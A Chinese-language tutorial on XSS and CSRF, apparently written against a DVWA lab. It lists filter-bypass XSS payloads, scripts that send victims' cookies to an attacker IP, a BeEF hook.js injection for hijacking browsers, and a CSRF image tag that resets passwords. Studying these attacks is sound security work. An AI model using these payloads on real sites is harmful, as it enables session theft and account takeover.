网络安全-XSS和CSRF攻击

背景

XSS(Cross Site Scripting)指跨站脚本攻击,跟sql注入一样,危害极大,用户通过访问有问题的页面而导致被攻击

CSRF(Cross Site Request Forgery)指跨站请求伪造,指攻击者非法控制靶机执行恶意操作。

XSS攻击

背景

  • 分类

    XSS攻击大致分为三类:反射型存储型DOM型,常见于各类用户需要输入内容的区域,主要是因为服务端没有对用户输入的内容进行安全过滤

  • 危害

    网页挂马、会话劫持、用户劫持、信息窃取、网站钓鱼、XSS DDOS、XSS蠕虫

反射型XSS

反射性XSS又称为非持久性XSS,如下:

image-20210217144331067

提交后,就会出现XSS攻击效果,如下:

image-20210217144500529

这样的XSS并没有存入服务器,也没有存入数据库,因此并不会造成大范围的影响。

存储型XSS

存储型XSS即将攻击代码存入了数据库,并且作用于任何显示这段代码的区域,因此危害极大,常见于留言板等类似处,如下:

image-20210217144823865

这样,任何一个访问该页面的用户都会被执行该存储的内容,如下:

image-20210217145458204

XSS代码变种

  • 大小写:

    由于前端并不区分大小写,所以有时服务器会过滤一部分XSS攻击性代码,但是忽略了大小写的判断,所以可以对其进行变种:<sCripT>alert('xss')</ScrIPT>,不过这种低级错误被触发的概率也很低了。

  • <tag on*=* />

    借助HTML标签中的触发事件,以下仅仅只是部分:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    // onclick
    <p onclick="alert('1')"> shuai </p>

    // onload
    <body onload="alert('xss')"></body>

    // onfocus
    <input onfocus="alert('1')" />

    // onerror
    <img src="123" onerror="alert('1')" />

    // onmousedown、onmousemove、onmouseout、onmouseover、onmouseup
    <p onmousemove="alert('1')"> shuai </p>

    上面都是触发XSS的原理,很多时候程序员已经对其进行了过滤,这个时候还可以将上述的内容修改为HTML实体的方式进行提交,如下:

    1
    2
    3
    4
    5
    6
    7
    8
    # 将alert('1')转成html字符实体,转成16进制
    <img src="123" onerror="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x31;&#x27;&#x29;" />

    # 转为10进制
    <img src="123" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#49;&#39;&#41;" />

    # 将其中的;省略掉,实现变种:
    <img src="123" onerror="&#97&#108&#101&#114&#116&#40&#39&#49&#39&#41" />

    转码网站:https://www.qqxiuzi.cn/bianma/zifushiti.php

  • <tag src=*/>

    凡是可引用src属性的标签都可使用该方式,如:imgiframescript

    1
    2
    3
    # 直接引用外部的恶意js代码
    <iframe src="https://domain.domian/xss.html" />
    <script src="https://domain.domian/xss.js"></script>

    有时上述的方式无法正常的嵌入,此时除了使用HTML实体编码的方式,还可以借助Data URI scheme,如下:

    1
    2
    <iframe src="data:text/html,<script>alert('1')</script>"></iframe>
    <script src="data:text/html,alert('1')"></script>

    有时候上述的方案也不行,则还可以在上述的基础上借助BASE64编码的方案,则上述的内容如下:

    1
    2
    <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>
    <script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>

应用

  • 盗取Cookie

    盗取用户的Cookie信息后,就可以伪装为靶机身份登录网站,我们可以在用户访问页面的时候,将用户的Cookie信息直接发送到一台公网的机器上,如下:

    1
    2
    3
    4
    5
    # 构造发送Cookie的js
    <script>window.location="http://192.168.0.106?cookie="+document.cookie</script>

    # 上面的方式不适用于远程获取管理员的信息,我们可以直接在网页端创建一个图片,每当管理员访问页面的时候,我们就能够获取到该信息了
    <script>document.write('<img src="http://192.168.132.144/cookie.php?cookie='+document.cookie+'" width=0 height=0 >')</script>

    提交后,则会直接请求第三方网站,将cookie信息发送到目标服务器上,如下:

    img

  • 劫持靶机

    劫持靶机需要借助工具Beef-XSS,一个非常牛逼的XSS攻击工具,Kali下需要先安装:

    1
    2
    3
    4
    sudo apt install beef-xss

    # 启动程序
    sudo beef-xss

    然后到漏洞页面提交数据,如下:

    1
    <script src="http://192.168.85.131:3000/hook.js"></script>

    提交完成后,然后打开页面:http://127.0.0.1:3000/ui/panel,坐等肉鸡访问页面,一旦肉鸡访问页面,就会出现:

    image-20210217191043742

CSRF攻击

CSRF其实跟XSS攻击类似,本质也是利用用户的Cookie信息劫持用户进行一些非法操作,更多的时候是结合XSS攻击一起实现更为复杂的攻击方式,如修改用户的密码信息:

首先写入XSS攻击代码:

1
<img src="http://192.168.85.4/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" />

image-20210217200153503

然后每一个访问该页面的用户都会直接被修改掉密码。